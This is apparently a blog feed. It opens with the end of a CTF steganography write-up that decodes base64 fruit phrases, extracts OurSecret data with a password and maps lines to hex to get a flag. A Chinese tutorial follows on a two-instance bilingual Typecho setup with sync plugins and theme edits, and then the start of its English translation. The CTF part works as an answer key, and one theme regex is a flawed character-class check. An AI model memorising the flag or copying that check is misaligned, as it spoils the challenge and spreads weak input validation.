5L2g6L+Z6Iu55p6c5oCO5LmI6L+Z5LmI5aSnCuWkp+S4quWEv+aJjeWAvOmSseS9oOimgeS4jeimgQrov5nmoYPlrZDmgI7kuYjov5nkuYjnoawK56Gs5piv5Zug5Li65paw6bKc5L2g6KaB6L2v55qE6L+Y5piv57Ov55qECui/meilv+eTnOiDveWQg+WQl+eci+i1t+adpeacieeCueS4jeeGnwrkuI3nhp/nmoTopb/nk5zmgI7kuYjlj6/og73kvaDov5nlsLHmmK/nrYnnnYDlkIPnlJznmoQK5L2g6L+Z5p+a5a2Q6L+Z5LmI5bCPCuWwj+W3p+eahOaJjeWlveWQg+S9oOimgeWkp+S4queahOi/mOaYr+WlveWQg+eahArov5nmqZnlrZDmgI7kuYjov5nkuYjphbgK6YW45omN5piv5q2j5a6X55qE5qmZ5a2Q5L2g6KaB5piv55Sc55qE5Y675Yir5a6255yLCui/memmmeiVieacieeCueW8rwrlvK/nmoTpppnolYnmm7TnlJzkvaDkuI3mh4IK5L2g6L+Z5qKo5a2Q5piv5LiN5piv5pyJ54K556GsCuehrOaYr+WboOS4uuaWsOmynOWQg+edgOacieWPo+aEnwrov5nokaHokITmgI7kuYjov5nkuYjlsI8K5bCP55qE6JGh6JCE5pu05rWT57yp55Sc5ZGz

Decode to get:

你这苹果怎么这么大
大个儿才值钱你要不要
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
这橙子怎么这么酸
酸才是正宗的橙子你要是甜的去别家看
这香蕉有点弯
弯的香蕉更甜你不懂
你这梨子是不是有点硬
硬是因为新鲜吃着有口感
这葡萄怎么这么小
小的葡萄更浓缩甜味

At the same time, it is found that there is still part of unrecognized data at the end of the exported zip:

Based on the 1A 9E 97 BA 2A, it can be inferred that this is OurSecret steganography. Open it with the OurSecret tool and find that a password is required. Try the password shuiguo to extract a txt file:

你这柚子这么小
你这柚子这么小
你这柚子这么小
你这梨子是不是有点硬
你这柚子这么小
大个儿才值钱你要不要
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
小巧的才好吃你要大个的还是好吃的
弯的香蕉更甜你不懂
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
不熟的西瓜怎么可能你这就是等着吃甜的
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
不熟的西瓜怎么可能你这就是等着吃甜的
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
你这苹果怎么这么大
你这柚子这么小
大个儿才值钱你要不要
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
你这柚子这么小
这西瓜能吃吗看起来有点不熟
你这柚子这么小
这桃子怎么这么硬
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
酸才是正宗的橙子你要是甜的去别家看
你这柚子这么小
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
你这柚子这么小
硬是因为新鲜你要软的还是糯的
你这柚子这么小
这西瓜能吃吗看起来有点不熟
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
你这柚子这么小
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
你这柚子这么小
大个儿才值钱你要不要
硬是因为新鲜你要软的还是糯的
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
你这柚子这么小
硬是因为新鲜你要软的还是糯的
硬是因为新鲜你要软的还是糯的
你这柚子这么小
硬是因为新鲜你要软的还是糯的
这桃子怎么这么硬
小巧的才好吃你要大个的还是好吃的
硬是因为新鲜吃着有口感

It is found that this corresponds one-to-one with the previously extracted statements. Since there are 16 statements extracted earlier, it is speculated that they represent hexadecimal digits, corresponding to 0-f respectively. Then, map the OurSecret decrypted content to hexadecimal numbers to obtain: 666c61677b33653235393630613739646263363962363734636434656336376137326336327d.
Write a Python script to convert the hexadecimal string to ASCII characters in groups of two:

hex_string = "666c61677b33653235393630613739646263363962363734636434656336376137326336327d"
ascii_string = ''.join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)])
print(ascii_string)

Get the Flag: flag{3e25960a79dbc69b674cd4ec67a72c62}

为Typecho配置简易多语言方案

Wed, 19 Nov 2025 14:10:00 GMT

想着给博客做一下国际化支持，为每篇文章和每个页面单独配置一个英文版本，但是上网查了一圈发现Typecho对国际化的支持并不好，最终自己设计了一套方案，写这篇文章记录下来

本文默认你对PHP、Nginx、Typecho的基础逻辑有部分了解

分析

需求

需要为每个文章和页面都配置中英双语
需要配置一个语言选择器，使得前端可以快速切换语言
需要搜索引擎可以正确识别并收录多语言版本的文章

大致方案

中英文文章的区分大致有这两种方案：

作为一个单独的参数，如访问文章时用/?lang=zh-CN和/?lang=en-US来区分，但是这种方案实现起来比较困难，同时对搜索引擎收录也不太好；
通过URL路径区分，如访问https://<host>/article是中文页面，访问https://<host>/en/article是英文页面，这种配置起来比较简单，直接分成两个Typecho实例即可，并且对搜索引擎友好。问题是评论和浏览量统计需要手动同步。

总结下来，我选择了第二种方案，并且打算直接通过在/en/新建一个Typecho实例实现多语言支持。

具体实现

首先将博客实例复制两份，一份中文一份英文，然后分别翻译成英文；
修改前端代码，实现语言选择器；
要保证两边文章URL只有一个/en之差，就得保证中文站点和英文站点文章的cid相同，而这个cid是根据创建文章和附件的顺序来的，因此打算编写一个同步插件，中文端发文章的时候自动在英文数据库中插入一条对应cid的文章；
改写SiteMap插件，因为sitemap不能既包含页面链接又包含其他sitemap的引用，因此主站需要创建两个sitemap，一个是收录中文站页面的主sitemap，另一个是索引，负责索引中文和英文的sitemap；
在<head></head>中添加hreflang属性来告知搜索引擎如何处理多语言；
将英文端的访问量和点赞量链接到中文的数据库；
将英文端的评论链接到中文数据库。

开整

创建英文实例

将整个网站复制一份，放在原先的网站根目录的/en/文件夹下，同时将数据库也复制一份，我这里命名成typecho_en。
接着，分别为两个实例配置伪静态：

location /en/ {
    if (!-e $request_filename) {
        rewrite ^(.*)$ /en/index.php$1 last;
    }
}

location / {
  if (!-e $request_filename) {
      rewrite ^(.*)$ /index.php$1 last;
  }
}

关于为什么要将中文的主实例也用location括起来，是因为实际测试的时候发现如果不括起来就会将英文实例也当作中文实例的一部分解析，造成404。

同时，修改<webroot>/en/config.inc.php里的数据库配置，指向英文实例的数据库。

这个时候，访问<host>/en/应该能看到一个和中文主站一模一样的站点。

修改Typecho语言

这一步其实感觉可以不要，因为基本上前端页面的语言都是由主题决定的，将Typecho本身语言设置为英文没什么大用，但是为了统一，还是选择改了一下（这样可以一眼看出来是哪个实例的后台（笑））
直接参考GitHub上typecho官方的多语言支持即可，从Release里下载语言包，然后解压到<webroot>/en/usr/langs/下，然后进入https://<host>/en/admin/options-general.php，就能看见语言设置选项，改为English即可。

修改主题语言

最繁琐的一步，我使用的是Joe，进入<webroot>/en/usr/themes/Joe，将所有你能看到的显示相关的中文都翻译成英文，这里没什么非常方便的方法，用翻译工具的话翻出来会很别扭，我还是选择了手动翻译。
需要注意的是，有一部分的前端配置是在js中的，不止是PHP源文件，这些都需要翻译。

翻译文章

这一步没啥好说的，把/en/下的文章一篇篇翻译成英文，保存

配置文章同步发布

这一步是为了保持两边文章的cid同步，因为cid和访问url有关，保持cid同步可以使下文配置语言选择器一步更加简单，只要在host后加个/en或者去掉就行了。
cid是数据库中typecho_contents表的一个自增字段，同时也是主键，他的分配和typecho的文章、附件等有关。因为上传的文件也会占用cid，而我打算将所有附件都上传到中文站，因此如果不做特殊处理两边的cid容易匹配不上，增加后续工作量。
因此我选择的方案是用AI编写一个插件，当中文站发布文章的时候自动触发，读取中文站为其分配的cid并写入到英文站的数据库中。
创建文件<webroot>/usr/plugins/SyncToEnglish/Plugin.php并填入如下内容:

<?php
if (!defined('__TYPECHO_ROOT_DIR__')) exit;

/**
 * 中文文章同步到英文数据库
 *
 * @package SyncToEnglish
 * @author ChatGPT, iYoRoy
 * @version 1.0.0
 * @link https://example.com
 */
class SyncToEnglish_Plugin implements Typecho_Plugin_Interface
{
    public static function activate()
    {
        Typecho_Plugin::factory('Widget_Contents_Post_Edit')->finishPublish = [__CLASS__, 'push'];
        return 'SyncToEnglish 插件已启用：发布中文文章时会自动在英文库创建对应空文章';
        error_log("[SyncToEnglish] 插件激活成功");
    }

    public static function deactivate()
    {
        return 'SyncToEnglish 插件已禁用';
    }

    public static function config(Typecho_Widget_Helper_Form $form)
    {
        $host = new Typecho_Widget_Helper_Form_Element_Text('host', NULL, 'localhost', _t('英文数据库主机'));
        $user = new Typecho_Widget_Helper_Form_Element_Text('user', NULL, 'root', _t('英文数据库用户名'));
        $password = new Typecho_Widget_Helper_Form_Element_Password('password', NULL, NULL, _t('英文数据库密码'));
        $database = new Typecho_Widget_Helper_Form_Element_Text('database', NULL, 'typecho_en', _t('英文数据库名称'));
        $port = new Typecho_Widget_Helper_Form_Element_Text('port', NULL, '3306', _t('英文数据库端口'));
        $charset = new Typecho_Widget_Helper_Form_Element_Text('charset', NULL, 'utf8mb4', _t('字符集'));
        $prefix = new Typecho_Widget_Helper_Form_Element_Text('prefix', NULL, 'typecho_', _t('表前缀'));

        $form->addInput($host);
        $form->addInput($user);
        $form->addInput($password);
        $form->addInput($database);
        $form->addInput($port);
        $form->addInput($charset);
        $form->addInput($prefix);
    }

    public static function personalConfig(Typecho_Widget_Helper_Form $form) {}

    public static function push($contents, $widget)
    {
        $options = Helper::options();
        $config = $options->plugin('SyncToEnglish');

        // 获取中文库文章信息
        $cnDb = Typecho_Db::get();
        if (is_array($contents) && isset($contents['cid'])) {
            $cid = $contents['cid'];
            $title = $contents['title'];
        } elseif (is_object($contents) && isset($contents->cid)) {
            $cid = $contents->cid;
            $title = $contents->title;
        } else {
            $db = Typecho_Db::get();
            $row = $db->fetchRow($db->select()->from('table.contents')->order('cid', Typecho_Db::SORT_DESC)->limit(1));
            $cid = $row['cid'];
            $title = $row['title'];
            error_log("[SyncToEnglish DEBUG] CID not found in param, fallback to latest cid={$cid}\n", 3, __DIR__ . '/debug.log');
        }

        $article = $cnDb->fetchRow($cnDb->select()->from('table.contents')->where('cid = ?', $cid));
        if (!$article) return;

        $enDb = new Typecho_Db('Mysql', $config->prefix);
        $enDb->addServer([
            'host' => $config->host,
            'user' => $config->user,
            'password' => $config->password,
            'charset' => $config->charset,
            'port' => (int)$config->port,
            'database' => $config->database
        ], Typecho_Db::READ | Typecho_Db::WRITE);

        try {
            $exists = $enDb->fetchRow($enDb->select()->from('table.contents')->where('cid = ?', $article['cid']));

            if ($exists) {
                $enDb->query($enDb->update('table.contents')
                    ->rows([
                        // 'title' => $article['title'],
                        'slug' => $article['slug'],
                        'modified' => $article['modified']
                    ])
                    ->where('cid = ?', $article['cid'])
                );
            } else {
                $enDb->query($enDb->insert('table.contents')->rows([
                    'cid'      => $article['cid'],
                    'title'    => $article['title'],
                    'slug'     => $article['slug'],
                    'created'  => $article['created'],
                    'modified' => $article['modified'],
                    'type'     => $article['type'],
                    'status'   => $article['status'],
                    'authorId' => $article['authorId'],
                    'views'    => 0,
                    'text'     => $article['text'],
                    'allowComment' => $article['allowComment'],
                    'allowFeed'    => $article['allowFeed'],
                    'allowPing'    => $article['allowPing']
                ]));
            }

        } catch (Exception $e) {
            error_log('[SyncToEnglish] 同步失败: ' . $e->getMessage());
        }
    }
}

随后去后台启用插件并配置上英文数据库的数据库信息即可。
完成后，在中文站发布文章，英文站应该能同步发布一篇相同cid的文章。

配置语言选择器

既然我们已经完成了同步文章cid，接下来我们修改语言的时候只需要修改url，在前面加上或者去掉/en/就行了。通过PHP编写一个选择器，放在主题的顶栏中：

<!-- Language Selector -->
<div class="joe_dropdown" trigger="hover" placement="60px">
    <div class="joe_dropdown__link">
    <a href="#" rel="nofollow">Language</a>
    <svg class="joe_dropdown__link-icon" viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg" width="14" height="14">
        <path d="M561.873 725.165c-11.262 11.262-26.545 21.72-41.025 18.502-14.479 2.413-28.154-8.849-39.415-18.502L133.129 375.252c-17.697-17.696-17.697-46.655 0-64.352s46.655-17.696 64.351 0l324.173 333.021 324.977-333.02c17.696-17.697 46.655-17.697 64.351 0s17.697 46.655 0 64.351L561.873 725.165z" fill="var(--main)" />
    </svg>
    </div>
    <nav class="joe_dropdown__menu">
    <?php
        // 获取当前完整的 URL
        $current_url = $_SERVER['REQUEST_URI']; 
        $host = $_SERVER['HTTP_HOST'];

        // 判断是否有英文前缀 "/en/"
        if (strpos($current_url, '/en/') === 0) {
        $current_url = substr_replace($current_url, '', 0, 3);
        }

        $new_url_cn = 'https://' . $host . $current_url;
        $new_url_en = 'https://' . $host . '/en' . $current_url;

        // 生成两个超链接
        echo '<a href="' . $new_url_cn . '">简体中文</a>';
        echo '<a href="' . $new_url_en . '">English</a>';
    ?>
    </nav>
</div>

需要在中文和英文两个实例中都添加。
之后，全局都能通过这个选择器选择语言。对于我用的Joe主题，移动端和PC端需要单独编写两个语言选择器。

改写SiteMap插件

为了让搜索引擎能更快的收录到英文的页面，我打算修改SiteMap插件，使之包含英文站点的页面。SiteMap有两种，一种是sitemapindex，用于索引子SiteMap，一种是urlset，用于包含页面。我使用的是joyqi/typecho-plugin-sitemap插件，在这个基础上，将默认的/sitemap.xml改为sitemapindex，新建一个路由/sitemap_cn.xml来存放中文站的SiteMap，英文站点的插件不变，再有默认的/sitemap.xml引用/sitemap_cn.xml和/en/sitemap.xml。
修改SiteMap的Plugin.php：

/**
* Activate plugin method, if activated failed, throw exception will disable this plugin.
*/
public static function activate()
{
    Helper::addRoute(
-       'sitemap',
+       'sitemap_index',
        '/sitemap.xml',
        Generator::class,
-       'generate',
+       'generate_index',
        'index'
    );
+   Helper::addRoute(
+       'sitemap_cn',
+       '/sitemap_cn.xml',
+       Generator::class,
+       'generate_cn',
+       'index'
+   );
}

/**
* Deactivate plugin method, if deactivated failed, throw exception will enable this plugin.
*/
public static function deactivate()
{
-   Helper::removeRoute('sitemap');
+   Helper::removeRoute('sitemap_index');
+   Helper::removeRoute('sitemap_cn');
}

完整代码

<?php

namespace TypechoPlugin\Sitemap;

use Typecho\Plugin\PluginInterface;
use Typecho\Widget\Helper\Form;
use Utils\Helper;

if (!defined('__TYPECHO_ROOT_DIR__')) {
    exit;
}

/**
 * 自动生成 Typecho 站点地图的插件。
 * 站点地图 Sitemap 的地址是：http(s)://yourdomain.com/sitemap.xml
 *
 * @package 站点地图插件
 * @author joyqi
 * @version 1.0.0
 * @since 1.2.1
 * @link https://github.com/joyqi/typecho-plugin-sitemap
 */
class Plugin implements PluginInterface
{
    /**
     * Activate plugin method, if activated failed, throw exception will disable this plugin.
     */
    public static function activate()
    {
        Helper::addRoute(
            'sitemap_index',
            '/sitemap.xml',
            Generator::class,
            'generate_index',
            'index'
        );
        Helper::addRoute(
            'sitemap_cn',
            '/sitemap_cn.xml',
            Generator::class,
            'generate_cn',
            'index'
        );
    }

    /**
     * Deactivate plugin method, if deactivated failed, throw exception will enable this plugin.
     */
    public static function deactivate()
    {
        Helper::removeRoute('sitemap_index');
        Helper::removeRoute('sitemap_cn');
    }

    /**
     * Plugin config panel render method.
     *
     * @param Form $form
     */
    public static function config(Form $form)
    {
        $sitemapBlock = new Form\Element\Checkbox(
            'sitemapBlock',
            [
                'posts' => _t('生成文章链接'),
                'pages' => _t('生成独立页面链接'),
                'categories' => _t('生成分类链接'),
                'tags' => _t('生成标签链接'),
            ],
            ['posts', 'pages', 'categories', 'tags'],
            _t('站点地图显示')
        );

        $updateFreq = new Form\Element\Select(
            'updateFreq',
            [
                'daily' => _t('每天'),
                'weekly' => _t('每周'),
                'monthly' => _t('每月或更久'),
            ],
            'daily',
            _t('更新频率')
        );

        // $externalSitemap = new Typecho_Widget_Helper_Form_Element_Text('externalSitemap', NULL, '', _t('附加SiteMap'));

        $form->addInput($sitemapBlock->multiMode());
        $form->addInput($updateFreq);
        // $form->addInput($externalSitemap);
    }

    /**
     * Plugin personal config panel render method.
     *
     * @param Form $form
     */
    public static function personalConfig(Form $form)
    {
        // TODO: Implement personalConfig() method.
    }
}

修改SiteMap的Generator.php：

class Generator extends Contents
{
+   public function generate_index(){
+       $sitemap = '<?xml version="1.0" encoding="UTF-8"?>
+<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
+ <sitemap>
+   <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc>
+ </sitemap>
+ <sitemap>
+   <loc>https://www.iyoroy.cn/en/sitemap.xml</loc>
+ </sitemap>
+</sitemapindex>';
+       $this->response->throwContent($sitemap, 'text/xml');
+   }
+
    /**
     * @return void
     */
-   public function generate()
+   public function generate_cn()
    {
        $sitemap = '<?xml version="1.0" encoding="' . $this->options->charset . '"?>' . PHP_EOL;
...

完整代码

<?php

namespace TypechoPlugin\Sitemap;

use Widget\Base\Contents;
use Widget\Contents\Page\Rows;
use Widget\Contents\Post\Recent;
use Widget\Metas\Category\Rows as CategoryRows;
use Widget\Metas\Tag\Cloud;

if (!defined('__TYPECHO_ROOT_DIR__')) {
    exit;
}

/**
 * Sitemap Generator
 */
class Generator extends Contents
{
    public function generate_index(){
        $sitemap = '<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap>
    <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc>
  </sitemap>
  <sitemap>
    <loc>https://www.iyoroy.cn/en/sitemap.xml</loc>
  </sitemap>
</sitemapindex>';
        $this->response->throwContent($sitemap, 'text/xml');
    }
    /**
     * @return void
     */
    public function generate_cn()
    {
        $sitemap = '<?xml version="1.0" encoding="' . $this->options->charset . '"?>' . PHP_EOL;
        $sitemap .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"'
            . ' xmlns:news="http://www.google.com/schemas/sitemap-news/0.9"'
            . ' xmlns:xhtml="http://www.w3.org/1999/xhtml"'
            . ' xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"'
            . ' xmlns:video="http://www.google.com/schemas/sitemap-video/1.1">' . PHP_EOL;

        // add homepage
        $sitemap .= <<<EOF
        <url>
            <loc>{$this->options->siteUrl}</loc>
            <changefreq>daily</changefreq>
            <priority>1.0</priority>
        </url>
EOF;

        // add posts
        if (in_array('posts', $this->options->plugin('Sitemap')->sitemapBlock)) {
            $postsCount = $this->size($this->select()
                ->where('table.contents.status = ?', 'publish')
                ->where('table.contents.created < ?', $this->options->time)
                ->where('table.contents.type = ?', 'post'));

            $posts = Recent::alloc(['pageSize' => $postsCount]);
            $freq = $this->options->plugin('Sitemap')->updateFreq ==='monthly' ? 'monthly' : 'weekly';

            while ($posts->next()) {
                $sitemap .= <<<EOF
            <url>
                <loc>{$posts->permalink}</loc>
                <changefreq>{$freq}</changefreq>
                <lastmod>{$posts->date->format('c')}</lastmod>
                <priority>0.8</priority>
            </url>
EOF;
            }
        }

        // add pages
        if (in_array('pages', $this->options->plugin('Sitemap')->sitemapBlock)) {
            $pages = Rows::alloc();
            $freq = $this->options->plugin('Sitemap')->updateFreq ==='monthly' ? 'yearly' : 'monthly';

            while ($pages->next()) {
                $sitemap .= <<<EOF
            <url>
                <loc>{$pages->permalink}</loc>
                <changefreq>{$freq}</changefreq>
                <lastmod>{$pages->date->format('c')}</lastmod>
                <priority>0.5</priority>
            </url>
EOF;
            }
        }

        // add categories
        if (in_array('categories', $this->options->plugin('Sitemap')->sitemapBlock)) {
            $categories = CategoryRows::alloc();
            $freq = $this->options->plugin('Sitemap')->updateFreq;

            while ($categories->next()) {
                $sitemap .= <<<EOF
            <url>
                <loc>{$categories->permalink}</loc>
                <changefreq>{$freq}</changefreq>
                <priority>0.6</priority>
            </url>
EOF;
            }
        }

        // add tags
        if (in_array('tags', $this->options->plugin('Sitemap')->sitemapBlock)) {
            $tags = Cloud::alloc();
            $freq = $this->options->plugin('Sitemap')->updateFreq;

            while ($tags->next()) {
                $sitemap .= <<<EOF
            <url>
                <loc>{$tags->permalink}</loc>
                <changefreq>{$freq}</changefreq>
                <priority>0.4</priority>
            </url>
EOF;
            }
        }

        $sitemap .= '</urlset>';

        $this->response->throwContent($sitemap, 'text/xml');
    }
}

请将代码中的博客地址改成你自己的
（最近太忙了实在是没空给单独写个配置页面了就直接把SiteMap URL写死在插件里了）

禁用再启用插件，访问https://<host>/sitemap.xml应该就能看到SiteMap的索引了：

<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
    <sitemap>
        <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc>
    </sitemap>
    <sitemap>
        <loc>https://www.iyoroy.cn/en/sitemap.xml</loc>
    </sitemap>
</sitemapindex>

通过Bing Search等其他搜索引擎的SEO管理页应该也能看到扫描到了英文站的SiteMap：

添加hreflang

这一步的作用是让搜索引擎知道当前页面存在多语言版本，使其可以根据用户的语言偏好或地理位置展示合适的页面。我们需要在页面的<head></head>中插入类似如下格式的link标签：

<link rel="alternate" hreflang="en-us" href="https://example.com/us">
<link rel="alternate" hreflang="fr" href="https://example.com/fr">
<link rel="alternate" hreflang="x-default" href="https://example.com/default">

其中，hreflang="x-default"意为本文的默认语言。hreflang的值是由ISO 639-1的语言代码和ISO 3166-1 Alpha-2的区域代码构成的，其中区域代码可以省略，只标识语言（类似于中文和简体中文（大陆—）、繁体中文（香港），繁体中文（台湾）的区别）。

在主题的<head></head>相关配置中加入如下内容：

<?php
  // 获取当前完整的 URL
  $current_url = $_SERVER['REQUEST_URI']; 
  $host = $_SERVER['HTTP_HOST'];

  // 判断是否有英文前缀 "/en/"
  if (strpos($current_url, '/en/') === 0) {
    $current_url = substr_replace($current_url, '', 0, 3);
  }

  $new_url_cn = 'https://' . $host . $current_url;
  $new_url_en = 'https://' . $host . '/en' . $current_url;

  // 生成两个超链接
  echo '<link rel="alternate" hreflang="zh-cn" href="'.$new_url_cn.'" />';
  echo '<link rel="alternate" hreflang="en-us" href="'.$new_url_en.'" />';
  echo '<link rel="alternate" hreflang="x-default" href="'.$new_url_cn.'" />';
?>

同时需要在中文和英文站点都添加一遍。

之后，访问我们的网站，应该就能在<head>中找到相应的hreflang配置。

同步点赞量和浏览量

这一步和主题关联性比较大，可能并不适用于所有主题。我用的Joe主题，由主题本身连接数据库并读取写入点赞量、浏览量。我直接通过修改英文实例的主题代码，使其直接读写中文实例的点赞量和浏览量即可。
修改<webroot>/en/usr/themes/Joe/core/function.php中获取浏览量的函数：

/* 查询文章浏览量 */
function _getViews($item, $type = true)
{
-    $db = Typecho_Db::get();
+ // $db = Typecho_Db::get();

+ $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */);
+ $db->addServer([
+     'host' => 'mysql',
+     'user' => 'typecho',
+     'password' => '[数据删除]',
+     'charset' => 'utf8mb4',
+     'port' => 3306,
+     'database' => 'typecho'
+ ], Typecho_Db::READ | Typecho_Db::WRITE);
  
  $result = $db->fetchRow($db->select('views')->from('table.contents')->where('cid = ?', $item->cid))['views'];
  if ($type) echo number_format($result);
  else return number_format($result);
}

修改<webroot>/en/usr/themes/Joe/core/function.php中获取点赞量的函数：

/* 查询文章点赞量 */
function _getAgree($item, $type = true)
{
- $db = Typecho_Db::get();
+ // $db = Typecho_Db::get();

+ $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */);
+ $db->addServer([
+     'host' => 'mysql',
+     'user' => 'typecho',
+     'password' => '[数据删除]',
+     'charset' => 'utf8mb4',
+     'port' => 3306,
+     'database' => 'typecho'
+ ], Typecho_Db::READ | Typecho_Db::WRITE);
  
  $result = $db->fetchRow($db->select('agree')->from('table.contents')->where('cid = ?', $item->cid))['agree'];
  if ($type) echo number_format($result);
  else return number_format($result);
}

修改<webroot>/en/usr/themes/Joe/core/route.php中主页显示浏览量部分的代码：

        $result[] = array(
            "mode" => $item->fields->mode ? $item->fields->mode : 'default',
            "image" => _getThumbnails($item),
            "time" => date('Y-m-d', $item->created),
            "created" => date('d/m/Y', $item->created),
            "title" => $item->title,
            "abstract" => _getAbstract($item, false),
            "category" => $item->categories,
-           "views" => number_format($item->views),
+           // "views" => number_format($item->views),
+           "views" => _getViews($item, false),
            "commentsNum" => number_format($item->commentsNum),
-           "agree" => number_format($item->agree),
+           // "agree" => number_format($item->agree),
+           "agree" => _getAgree($item, false),
            "permalink" => $item->permalink,
            "lazyload" => _getLazyload(false),
            "type" => "normal"
        );

文章页面中显示浏览量部分的代码本身就是调用的_getViews，因此不需要修改。
修改增加浏览量部分的代码：

/* 增加浏览量 已测试 √ */
function _handleViews($self)
{
    $self->response->setStatus(200);

    $cid = $self->request->cid;

    /* sql注入校验 */
    if (!preg_match('/^\d+$/',  $cid)) {
        return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!"));
    }
-   $db = Typecho_Db::get();  
+   // $db = Typecho_Db::get();  
+   $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */);
+   $db->addServer([
+       'host' => 'mysql',
+       'user' => 'typecho',
+       'password' => '[数据删除]',
+       'charset' => 'utf8mb4',
+       'port' => 3306,
+       'database' => 'typecho'
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
    
    
    $row = $db->fetchRow($db->select('views')->from('table.contents')->where('cid = ?', $cid));
    if (sizeof($row) > 0) {

修改点赞和取消点赞部分代码：

/* 点赞和取消点赞 已测试 √ */
function _handleAgree($self)
{
    $self->response->setStatus(200);

    $cid = $self->request->cid;
    $type = $self->request->type;

    /* sql注入校验 */
    if (!preg_match('/^\d+$/',  $cid)) {
        return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!"));
    }
    /* sql注入校验 */
    if (!preg_match('/^[agree|disagree]+$/', $type)) {
        return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!"));
    }
-   $db = Typecho_Db::get();
+   // $db = Typecho_Db::get();  
+   $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */);
+   $db->addServer([
+       'host' => 'mysql',
+       'user' => 'typecho',
+       'password' => '[数据删除]',
+       'charset' => 'utf8mb4',
+       'port' => 3306,
+       'database' => 'typecho'
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
  
    $row = $db->fetchRow($db->select('agree')->from('table.contents')->where('cid = ?', $cid));
    if (sizeof($row) > 0) {

完成上述修改后保存，接着访问英文站可发现和中文站的浏览量同步了。

同步评论

本来想弄个插件，hook一下发布评论的函数，在发布的时候同时在另一个实例的数据库中同步插入评论信息，但是发现我的Joe主体已经hook了，我再hook会冲突，因此直接编辑Joe主题的代码：编辑<webroot>/index/usr/themes/Joe/core/factory.php：

<?php

require_once("phpmailer.php");
require_once("smtp.php");

/* 加强评论拦截功能 */
Typecho_Plugin::factory('Widget_Feedback')->comment = array('Intercept', 'message');
class Intercept
{
  public static function message($comment)
  {
    ...
    Typecho_Cookie::delete('__typecho_remember_text');
+   
+   $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */);
+   $db->addServer([
+       'host' => 'mysql',
+       'user' => 'typecho_en',
+       'password' => '[数据删除]',
+       'charset' => 'utf8mb4',
+       'port' => 3306,
+       'database' => 'typecho_en'
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
+   
+   $row = [
+       'coid'     => $comment['coid'], // 必须包含新生成的评论ID
+       'cid'      => $comment['cid'],
+       'created'  => $comment['created'],
+       'author'   => $comment['author'],
+       'authorId' => $comment['authorId'],
+       'ownerId'  => $comment['ownerId'],
+       'mail'     => $comment['mail'],
+       'url'      => $comment['url'],
+       'ip'       => $comment['ip'],
+       'agent'    => $comment['agent'],
+       'text'     => $comment['text'],
+       'type'     => $comment['type'],
+       'status'   => $comment['status'],
+       'parent'   => $comment['parent']
+   ];
+
+   // 插入数据到目标数据库的 `comments` 表
+   $db->query($db->insert('typecho_comments')->rows($row));
    return $comment;
  }
}
...

同理也在英文实例如此操作一番，插入到中文的数据库中
这个方案存在的一个问题就是如果有垃圾评论需要删除，需要分别去两个实例各删除一次，后面再修吧（x

参考文章：

typecho/languages - GitHub

Configuring a Simple Multi-language Solution for Typecho

Wed, 19 Nov 2025 14:10:00 GMT

I wanted to add internationalization support to my blog, providing a separate English version for each post and page. However, after searching online, I found that Typecho has poor support for i18n. Eventually, I designed my own solution and am documenting it here.

This article assumes you have some basic understanding of PHP, Nginx, and Typecho's core logic.

Analysis

Requirements

Need to provide both Chinese and English versions for each post and page.
Need to configure a language switcher so users can easily switch languages on the frontend.
Need search engines to correctly identify and index the multi-language versions of the content.

Proposed Solution

There are roughly two main schemes for distinguishing between Chinese and English content:

Use a separate parameter, like accessing posts with /?lang=zh-CN and /?lang=en-US. However, this scheme is relatively difficult to implement and less friendly for search engine indexing.
Distinguish via the URL path, e.g., https://<host>/article for the Chinese page and https://<host>/en/article for the English page. This is simpler to configure (essentially setting up two separate Typecho instances) and is more search engine friendly. The challenge is that comments and view counts need to be manually synchronized.

After summarizing, I chose the second scheme and planned to implement multi-language support by creating a new Typecho instance directly under the /en/ path.

Implementation Plan

